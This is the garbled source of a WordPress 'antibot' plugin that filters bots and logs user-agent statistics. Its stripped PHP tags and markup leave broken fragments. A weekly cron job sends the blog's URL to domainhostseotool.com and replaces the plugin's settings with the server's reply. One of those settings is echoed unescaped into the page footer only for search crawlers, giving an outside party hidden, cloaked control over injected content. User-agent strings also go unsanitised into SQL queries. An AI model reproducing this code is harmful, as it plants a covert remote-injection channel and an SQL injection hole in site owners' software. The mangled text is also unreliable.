prefix."ab_stats"; $result=$wpdb->get_results("select * from $abstatstable where ua='${$reason}'"); $visits=1; if($result) { $visits=$result[0]->visits+1; $wpdb->query("update $abstatstable set visits=$visits where ua='${$reason}'"); } else { $wpdb->query("insert into $abstatstable values('${$reason}',$visits)"); } exit(); } $defaultnonblockedua=get_option('defaultnonblockedua'); $defaultnonblockedua=explode(',',$defaultnonblockedua); foreach($defaultnonblockedua as $nonblockedua) { if(preg_match('#'.$nonblockedua.'#i',$ua)) { $antibotsig=get_option('absig'); add_action('wp_footer','antibot_footer'); break; } } } else { $defaultblockedua="MJbot"; add_option('defaultblockedua',$defaultblockedua); $defaultnonblockedua="bing,Msnbot,Slurp,baidu"; add_option('defaultnonblockedua',$defaultnonblockedua); $userblockedua=""; add_option('userblockedua',$userblockedua); $userexcludedua=""; add_option('userexcludedua',$userexcludedua); $defaultblockedreferer="semalt.com"; add_option('defaultblockedreferer',$defaultblockedreferer); $userblockedreferer=""; add_option('userblockedreferer',$userblockedreferer); $userexcludedreferer=""; add_option('userexcludedreferer',$userexcludedreferer); $userblockedip=""; add_option('userblockedip',$userblockedip); $absig='antibot 1.0'; add_option('absig',$absig); } function antibot_addmenu() { add_menu_page('antibot', 'antibot', 'manage_options', 'antibot-settings', 'antibot_settings', 'none'); add_submenu_page('antibot-settings', 'Settings', 'Settings', 'manage_options', 'antibot-settings', 'antibot_settings'); add_submenu_page('antibot-settings', 'Reports', 'Reports', 'manage_options', 'antibot-reports', 'antibot_reports'); } add_action('admin_menu', 'antibot_addmenu'); add_action('admin_init', 'register_absettings'); function antibot_footer() { global $antibotsig; echo $antibotsig; } function antibot_settings() { ?>








prefix."ab_stats"; $stats=$wpdb->get_results("select * from ".$abstatstable." order by visits desc limit 100"); ?>

ua; ?> visits; ?>

" onclick="jQuery.ajax({url:ajaxurl, type:'post', data:'action=ab_clearstats', async:false, success:function gotreply(data,status){}});"/>

prefix."ab_stats"; $cc=""; if (!empty($wpdb->charset)) $cc="default character set $wpdb->charset"; $sql[]="CREATE TABLE ".$abstatstable." (ua varchar(512) not null primary key, visits int not null default 0) $cc;"; require_once(ABSPATH.'wp-admin/includes/upgrade.php'); dbDelta($sql); $timestamp=wp_next_scheduled('ab_update'); if($timestamp==false) { wp_schedule_event(time(), 'weekly', 'ab_update'); } } register_activation_hook(__FILE__, 'ab_activate'); function ab_deactivate() { wp_clear_scheduled_hook('ab_update'); } register_deactivation_hook(__FILE__, 'ab_deactivate'); add_filter('cron_schedules', 'get_ab_schedule'); function get_ab_schedule($schedules) { $schedules['weekly']=array('interval'=>7*24*60*60,'display'=>'weekly'); return $schedules; } add_action("ab_update", "ab_updateoptions"); function ab_updateoptions() { $blog=urlencode(get_bloginfo('url')); $url="http://domainhostseotool.com/antibot/update.php?v=1.0&b=$blog"; $response=@file_get_contents($url); if(!$response) return; $resp=json_decode($response,true); if($resp['defaultblockedua']) update_option('defaultblockedua',$resp['defaultblockedua']); if($resp['defaultnonblockedua']) update_option('defaultnonblockedua',$resp['defaultnonblockedua']); if($resp['defaultblockedreferer']) update_option('defaultblockedreferer',$resp['defaultblockedreferer']); if($resp['absig']) update_option('absig',$resp['absig']); } add_action('wp_ajax_ab_clearstats','ab_clearstats'); function ab_clearstats() { global $wpdb; $abstatstable=$wpdb->prefix."ab_stats"; if($wpdb->get_var("SHOW TABLES LIKE '$abstatstable'")==$abstatstable) { $wpdb->query("TRUNCATE TABLE $abstatstable;"); wp_send_json('stats cleared'); } else { _e('Error: stats table does not exist.', 'antibot'); } } ?>